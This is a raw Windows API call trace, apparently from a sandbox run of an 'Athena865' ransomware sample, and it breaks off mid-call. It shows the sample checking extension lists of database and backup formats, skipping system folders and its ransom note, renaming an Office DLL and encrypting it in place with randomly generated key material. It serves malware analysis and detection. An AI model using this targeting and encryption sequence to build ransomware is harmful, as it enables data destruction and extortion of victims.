1 [0072.573] lstrlenW (lpString="dbf") returned 3 [0072.573] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0072.573] lstrlenW (lpString="mdf") returned 3 [0072.573] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0072.573] lstrlenW (lpString="mdb") returned 3 [0072.573] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0072.573] lstrlenW (lpString="sql") returned 3 [0072.573] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0072.573] lstrlenW (lpString="sqlite") returned 6 [0072.573] lstrcmpiW (lpString1="ON.DLL", lpString2="sqlite") returned -1 [0072.574] lstrlenW (lpString="sqlite3") returned 7 [0072.574] lstrcmpiW (lpString1="MON.DLL", lpString2="sqlite3") returned -1 [0072.574] lstrlenW (lpString="sqlitedb") returned 8 [0072.574] lstrcmpiW (lpString1="MMON.DLL", lpString2="sqlitedb") returned -1 [0072.574] lstrlenW (lpString="xml") returned 3 [0072.574] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0072.574] lstrlenW (lpString="$er") returned 3 [0072.574] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0072.574] lstrlenW (lpString="4dd") returned 3 [0072.574] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0072.574] lstrlenW (lpString="4dl") returned 3 [0072.574] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0072.574] lstrlenW (lpString="^^^") returned 3 [0072.574] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0072.574] lstrlenW (lpString="abs") returned 3 [0072.574] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0072.574] lstrlenW (lpString="abx") returned 3 [0072.574] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0072.574] lstrlenW (lpString="accdb") returned 5 [0072.574] lstrcmpiW (lpString1="N.DLL", lpString2="accdb") returned 1 [0072.574] lstrlenW (lpString="accdc") returned 5 [0072.574] lstrcmpiW (lpString1="N.DLL", lpString2="accdc") returned 1 [0072.574] lstrlenW (lpString="accde") returned 5 [0072.574] lstrcmpiW (lpString1="N.DLL", lpString2="accde") returned 1 [0072.574] lstrlenW (lpString="accdr") returned 5 [0072.574] lstrcmpiW (lpString1="N.DLL", lpString2="accdr") returned 1 [0072.574] lstrlenW (lpString="accdt") returned 5 [0072.574] lstrcmpiW (lpString1="N.DLL", lpString2="accdt") returned 1 [0072.574] lstrlenW (lpString="accdw") returned 5 [0072.574] lstrcmpiW (lpString1="N.DLL", lpString2="accdw") returned 1 [0072.574] lstrlenW (lpString="accft") returned 5 [0072.574] lstrcmpiW (lpString1="N.DLL", lpString2="accft") returned 1 [0072.575] lstrlenW (lpString="adb") returned 3 [0072.575] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0072.575] lstrlenW (lpString="adb") returned 3 [0072.575] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0072.575] lstrlenW (lpString="ade") returned 3 [0072.575] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0072.575] lstrlenW (lpString="adf") returned 3 [0072.575] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0072.575] lstrlenW (lpString="adn") returned 3 [0072.575] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0072.575] lstrlenW (lpString="adp") returned 3 [0072.575] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0072.575] lstrlenW (lpString="alf") returned 3 [0072.575] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0072.575] lstrlenW (lpString="ask") returned 3 [0072.575] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0072.575] lstrlenW (lpString="btr") returned 3 [0072.575] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0072.575] lstrlenW (lpString="cat") returned 3 [0072.575] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0072.575] lstrlenW (lpString="cdb") returned 3 [0072.575] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0072.575] lstrlenW (lpString="ckp") returned 3 [0072.575] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0072.575] lstrlenW (lpString="cma") returned 3 [0072.575] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0072.575] lstrlenW (lpString="cpd") returned 3 [0072.575] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0072.575] lstrlenW (lpString="dacpac") returned 6 [0072.575] lstrcmpiW (lpString1="ON.DLL", lpString2="dacpac") returned 1 [0072.575] lstrlenW (lpString="dad") returned 3 [0072.575] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0072.576] lstrlenW (lpString="dadiagrams") returned 10 [0072.576] lstrcmpiW (lpString1="COMMON.DLL", lpString2="dadiagrams") returned -1 [0072.576] lstrlenW (lpString="daschema") returned 8 [0072.576] lstrcmpiW (lpString1="MMON.DLL", lpString2="daschema") returned 1 [0072.576] lstrlenW (lpString="db-journal") returned 10 [0072.576] lstrcmpiW (lpString1="COMMON.DLL", lpString2="db-journal") returned -1 [0072.576] lstrlenW (lpString="db-shm") returned 6 [0072.576] lstrcmpiW (lpString1="ON.DLL", lpString2="db-shm") returned 1 [0072.576] lstrlenW (lpString="db-wal") returned 6 [0072.576] lstrcmpiW (lpString1="ON.DLL", lpString2="db-wal") returned 1 [0072.576] lstrlenW (lpString="dbc") returned 3 [0072.576] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0072.576] lstrlenW (lpString="dbs") returned 3 [0072.576] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0072.576] lstrlenW (lpString="dbt") returned 3 [0072.576] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0072.576] lstrlenW (lpString="dbv") returned 3 [0072.576] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0072.576] lstrlenW (lpString="dbx") returned 3 [0072.576] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0072.576] lstrlenW (lpString="dcb") returned 3 [0072.576] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0072.576] lstrlenW (lpString="dct") returned 3 [0072.576] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0072.576] lstrlenW (lpString="dcx") returned 3 [0072.576] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0072.576] lstrlenW (lpString="ddl") returned 3 [0072.576] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0072.576] lstrlenW (lpString="dlis") returned 4 [0072.576] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0072.576] lstrlenW (lpString="dp1") returned 3 [0072.576] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0072.576] lstrlenW (lpString="dqy") returned 3 [0072.576] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0072.577] lstrlenW (lpString="dsk") returned 3 [0072.577] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0072.577] lstrlenW (lpString="dsn") returned 3 [0072.577] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0072.577] lstrlenW (lpString="dtsx") returned 4 [0072.577] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0072.577] lstrlenW (lpString="dxl") returned 3 [0072.577] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0072.577] lstrlenW (lpString="eco") returned 3 [0072.577] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0072.577] lstrlenW (lpString="ecx") returned 3 [0072.577] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0072.577] lstrlenW (lpString="edb") returned 3 [0072.577] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0072.577] lstrlenW (lpString="epim") returned 4 [0072.577] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0072.577] lstrlenW (lpString="fcd") returned 3 [0072.577] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0072.577] lstrlenW (lpString="fdb") returned 3 [0072.577] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0072.577] lstrlenW (lpString="fic") returned 3 [0072.577] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0072.577] lstrlenW (lpString="flexolibrary") returned 12 [0072.577] lstrlenW (lpString="fm5") returned 3 [0072.577] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0072.577] lstrlenW (lpString="fmp") returned 3 [0072.577] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0072.577] lstrlenW (lpString="fmp12") returned 5 [0072.577] lstrcmpiW (lpString1="N.DLL", lpString2="fmp12") returned 1 [0072.577] lstrlenW (lpString="fmpsl") returned 5 [0072.577] lstrcmpiW (lpString1="N.DLL", lpString2="fmpsl") returned 1 [0072.577] lstrlenW (lpString="fol") returned 3 [0072.577] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0072.577] lstrlenW (lpString="fp3") returned 3 [0072.577] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0072.578] lstrlenW (lpString="fp4") returned 3 [0072.578] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0072.578] lstrlenW (lpString="fp5") returned 3 [0072.578] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0072.578] lstrlenW (lpString="fp7") returned 3 [0072.578] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0072.578] lstrlenW (lpString="fpt") returned 3 [0072.578] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0072.578] lstrlenW (lpString="frm") returned 3 [0072.578] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0072.578] lstrlenW (lpString="gdb") returned 3 [0072.578] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0072.578] lstrlenW (lpString="gdb") returned 3 [0072.578] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0072.578] lstrlenW (lpString="grdb") returned 4 [0072.578] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0072.578] lstrlenW (lpString="gwi") returned 3 [0072.578] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0072.578] lstrlenW (lpString="hdb") returned 3 [0072.578] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0072.578] lstrlenW (lpString="his") returned 3 [0072.578] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0072.578] lstrlenW (lpString="ib") returned 2 [0072.578] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0072.578] lstrlenW (lpString="idb") returned 3 [0072.578] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0072.578] lstrlenW (lpString="ihx") returned 3 [0072.578] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0072.578] lstrlenW (lpString="itdb") returned 4 [0072.578] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0072.578] lstrlenW (lpString="itw") returned 3 [0072.578] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0072.578] lstrlenW (lpString="jet") returned 3 [0072.579] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0072.579] lstrlenW (lpString="jtx") returned 3 [0072.579] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0072.579] lstrlenW (lpString="kdb") returned 3 [0072.579] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0072.579] lstrlenW (lpString="kexi") returned 4 [0072.579] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0072.579] lstrlenW (lpString="kexic") returned 5 [0072.579] lstrcmpiW (lpString1="N.DLL", lpString2="kexic") returned 1 [0072.579] lstrlenW (lpString="kexis") returned 5 [0072.579] lstrcmpiW (lpString1="N.DLL", lpString2="kexis") returned 1 [0072.579] lstrlenW (lpString="lgc") returned 3 [0072.579] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0072.579] lstrlenW (lpString="lwx") returned 3 [0072.579] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0072.579] lstrlenW (lpString="maf") returned 3 [0072.579] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0072.579] lstrlenW (lpString="maq") returned 3 [0072.579] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0072.579] lstrlenW (lpString="mar") returned 3 [0072.579] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0072.579] lstrlenW (lpString="marshal") returned 7 [0072.579] lstrcmpiW (lpString1="MON.DLL", lpString2="marshal") returned 1 [0072.579] lstrlenW (lpString="mas") returned 3 [0072.579] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0072.579] lstrlenW (lpString="mav") returned 3 [0072.579] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0072.579] lstrlenW (lpString="maw") returned 3 [0072.579] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0072.579] lstrlenW (lpString="mdbhtml") returned 7 [0072.579] lstrcmpiW (lpString1="MON.DLL", lpString2="mdbhtml") returned 1 [0072.579] lstrlenW (lpString="mdn") returned 3 [0072.579] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0072.580] lstrlenW (lpString="mdt") returned 3 [0072.580] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0072.580] lstrlenW (lpString="mfd") returned 3 [0072.580] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0072.580] lstrlenW (lpString="mpd") returned 3 [0072.580] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0072.580] lstrlenW (lpString="mrg") returned 3 [0072.580] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0072.580] lstrlenW (lpString="mud") returned 3 [0072.580] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0072.580] lstrlenW (lpString="mwb") returned 3 [0072.580] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0072.580] lstrlenW (lpString="myd") returned 3 [0072.580] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0072.580] lstrlenW (lpString="ndf") returned 3 [0072.580] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0072.580] lstrlenW (lpString="nnt") returned 3 [0072.580] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0072.580] lstrlenW (lpString="nrmlib") returned 6 [0072.580] lstrcmpiW (lpString1="ON.DLL", lpString2="nrmlib") returned 1 [0072.580] lstrlenW (lpString="ns2") returned 3 [0072.580] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0072.580] lstrlenW (lpString="ns3") returned 3 [0072.580] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0072.580] lstrlenW (lpString="ns4") returned 3 [0072.580] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0072.580] lstrlenW (lpString="nsf") returned 3 [0072.580] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0072.580] lstrlenW (lpString="nv") returned 2 [0072.580] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0072.580] lstrlenW (lpString="nv2") returned 3 [0072.580] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0072.580] lstrlenW (lpString="nwdb") returned 4 [0072.581] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0072.581] lstrlenW (lpString="nyf") returned 3 [0072.581] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0072.581] lstrlenW (lpString="odb") returned 3 [0072.581] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0072.581] lstrlenW (lpString="odb") returned 3 [0072.581] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0072.581] lstrlenW (lpString="oqy") returned 3 [0072.581] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0072.581] lstrlenW (lpString="ora") returned 3 [0072.581] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0072.581] lstrlenW (lpString="orx") returned 3 [0072.581] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0072.581] lstrlenW (lpString="owc") returned 3 [0072.581] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0072.581] lstrlenW (lpString="p96") returned 3 [0072.581] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0072.581] lstrlenW (lpString="p97") returned 3 [0072.581] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0072.581] lstrlenW (lpString="pan") returned 3 [0072.581] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0072.581] lstrlenW (lpString="pdb") returned 3 [0072.581] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0072.581] lstrlenW (lpString="pdm") returned 3 [0072.581] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0072.581] lstrlenW (lpString="pnz") returned 3 [0072.581] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0072.581] lstrlenW (lpString="qry") returned 3 [0072.581] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0072.581] lstrlenW (lpString="qvd") returned 3 [0072.581] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0072.581] lstrlenW (lpString="rbf") returned 3 [0072.581] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0072.582] lstrlenW (lpString="rctd") returned 4 [0072.582] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0072.582] lstrlenW (lpString="rod") returned 3 [0072.582] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0072.582] lstrlenW (lpString="rodx") returned 4 [0072.582] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0072.582] lstrlenW (lpString="rpd") returned 3 [0072.582] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0072.582] lstrlenW (lpString="rsd") returned 3 [0072.582] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0072.582] lstrlenW (lpString="sas7bdat") returned 8 [0072.582] lstrcmpiW (lpString1="MMON.DLL", lpString2="sas7bdat") returned -1 [0072.582] lstrlenW (lpString="sbf") returned 3 [0072.582] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0072.582] lstrlenW (lpString="scx") returned 3 [0072.582] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0072.582] lstrlenW (lpString="sdb") returned 3 [0072.582] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0072.582] lstrlenW (lpString="sdc") returned 3 [0072.582] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0072.582] lstrlenW (lpString="sdf") returned 3 [0072.582] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0072.582] lstrlenW (lpString="sis") returned 3 [0072.582] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0072.582] lstrlenW (lpString="spq") returned 3 [0072.582] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0072.582] lstrlenW (lpString="te") returned 2 [0072.582] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0072.582] lstrlenW (lpString="teacher") returned 7 [0072.582] lstrcmpiW (lpString1="MON.DLL", lpString2="teacher") returned -1 [0072.582] lstrlenW (lpString="tmd") returned 3 [0072.582] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0072.582] lstrlenW (lpString="tps") returned 3 [0072.583] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0072.583] lstrlenW (lpString="trc") returned 3 [0072.583] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0072.583] lstrlenW (lpString="trc") returned 3 [0072.583] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0072.583] lstrlenW (lpString="trm") returned 3 [0072.583] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0072.583] lstrlenW (lpString="udb") returned 3 [0072.583] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0072.583] lstrlenW (lpString="udl") returned 3 [0072.583] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0072.583] lstrlenW (lpString="usr") returned 3 [0072.583] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0072.583] lstrlenW (lpString="v12") returned 3 [0072.583] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0072.583] lstrlenW (lpString="vis") returned 3 [0072.583] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0072.583] lstrlenW (lpString="vpd") returned 3 [0072.583] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0072.583] lstrlenW (lpString="vvv") returned 3 [0072.583] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0072.583] lstrlenW (lpString="wdb") returned 3 [0072.583] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0072.583] lstrlenW (lpString="wmdb") returned 4 [0072.583] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0072.583] lstrlenW (lpString="wrk") returned 3 [0072.583] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0072.583] lstrlenW (lpString="xdb") returned 3 [0072.583] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0072.583] lstrlenW (lpString="xld") returned 3 [0072.583] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0072.583] lstrlenW (lpString="xmlff") returned 5 [0072.583] lstrcmpiW (lpString1="N.DLL", lpString2="xmlff") returned -1 [0072.584] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\IMCOMMON.DLL.Athena865") returned 65 [0072.584] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMCOMMON.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\imcommon.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMCOMMON.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\imcommon.dll.athena865"), dwFlags=0x1) returned 1 [0072.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMCOMMON.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\imcommon.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0072.586] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=680336) returned 1 [0072.586] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0072.586] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0072.586] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0072.586] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0072.587] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0072.587] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0072.587] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa6490, lpName=0x0) returned 0x154 [0072.589] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa6490) returned 0x2d50000 [0072.618] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0072.619] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0072.619] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0072.619] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0072.619] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0072.620] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0072.620] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x51df88 [0072.620] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0072.620] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x51e0a0 [0072.620] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0072.620] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51e0a0 | out: hHeap=0x4f0000) returned 1 [0072.620] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0072.620] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51df88 | out: hHeap=0x4f0000) returned 1 [0072.620] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0072.626] CloseHandle (hObject=0x154) returned 1 [0072.626] CloseHandle (hObject=0x17c) returned 1 [0072.626] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0072.626] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0072.626] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0072.629] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5dc7c00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb5dc7c00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x73c8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMDIMP.ADD", cAlternateFileName="")) returned 1 [0072.629] lstrcmpiW (lpString1="IMDIMP.ADD", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0072.629] lstrcmpiW (lpString1="IMDIMP.ADD", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0072.629] lstrcmpiW (lpString1="IMDIMP.ADD", lpString2=".") returned 1 [0072.629] lstrcmpiW (lpString1="IMDIMP.ADD", lpString2="..") returned 1 [0072.629] lstrcmpiW (lpString1="IMDIMP.ADD", lpString2="windows") returned -1 [0072.629] lstrcmpiW (lpString1="IMDIMP.ADD", lpString2="bootmgr") returned 1 [0072.629] lstrcmpiW (lpString1="IMDIMP.ADD", lpString2="temp") returned -1 [0072.629] lstrcmpiW (lpString1="IMDIMP.ADD", lpString2="pagefile.sys") returned -1 [0072.629] lstrcmpiW (lpString1="IMDIMP.ADD", lpString2="boot") returned 1 [0072.629] lstrcmpiW (lpString1="IMDIMP.ADD", lpString2="ids.txt") returned 1 [0072.629] lstrcmpiW (lpString1="IMDIMP.ADD", lpString2="ntuser.dat") returned -1 [0072.629] lstrcmpiW (lpString1="IMDIMP.ADD", lpString2="perflogs") returned -1 [0072.629] lstrcmpiW (lpString1="IMDIMP.ADD", lpString2="MSBuild") returned -1 [0072.630] lstrlenW (lpString="IMDIMP.ADD") returned 10 [0072.630] lstrcpyW (in: lpString1=0x241e89e, lpString2="IMDIMP.ADD" | out: lpString1="IMDIMP.ADD") returned="IMDIMP.ADD" [0072.630] lstrlenW (lpString="IMDIMP.ADD") returned 10 [0072.630] lstrlenW (lpString="Athena865") returned 9 [0072.630] lstrcmpiW (lpString1="MDIMP.ADD", lpString2="Athena865") returned 1 [0072.630] lstrlenW (lpString=".dll") returned 4 [0072.630] lstrcmpiW (lpString1="IMDIMP.ADD", lpString2=".dll") returned 1 [0072.630] lstrlenW (lpString=".lnk") returned 4 [0072.630] lstrcmpiW (lpString1="IMDIMP.ADD", lpString2=".lnk") returned 1 [0072.630] lstrlenW (lpString=".ini") returned 4 [0072.630] lstrcmpiW (lpString1="IMDIMP.ADD", lpString2=".ini") returned 1 [0072.630] lstrlenW (lpString=".sys") returned 4 [0072.630] lstrcmpiW (lpString1="IMDIMP.ADD", lpString2=".sys") returned 1 [0072.630] lstrlenW (lpString="IMDIMP.ADD") returned 10 [0072.630] lstrlenW (lpString="bak") returned 3 [0072.630] lstrcmpiW (lpString1="ADD", lpString2="bak") returned -1 [0072.630] lstrlenW (lpString="ba_") returned 3 [0072.630] lstrcmpiW (lpString1="ADD", lpString2="ba_") returned -1 [0072.630] lstrlenW (lpString="dbb") returned 3 [0072.630] lstrcmpiW (lpString1="ADD", lpString2="dbb") returned -1 [0072.630] lstrlenW (lpString="vmdk") returned 4 [0072.630] lstrcmpiW (lpString1=".ADD", lpString2="vmdk") returned -1 [0072.630] lstrlenW (lpString="rar") returned 3 [0072.630] lstrcmpiW (lpString1="ADD", lpString2="rar") returned -1 [0072.630] lstrlenW (lpString="zip") returned 3 [0072.630] lstrcmpiW 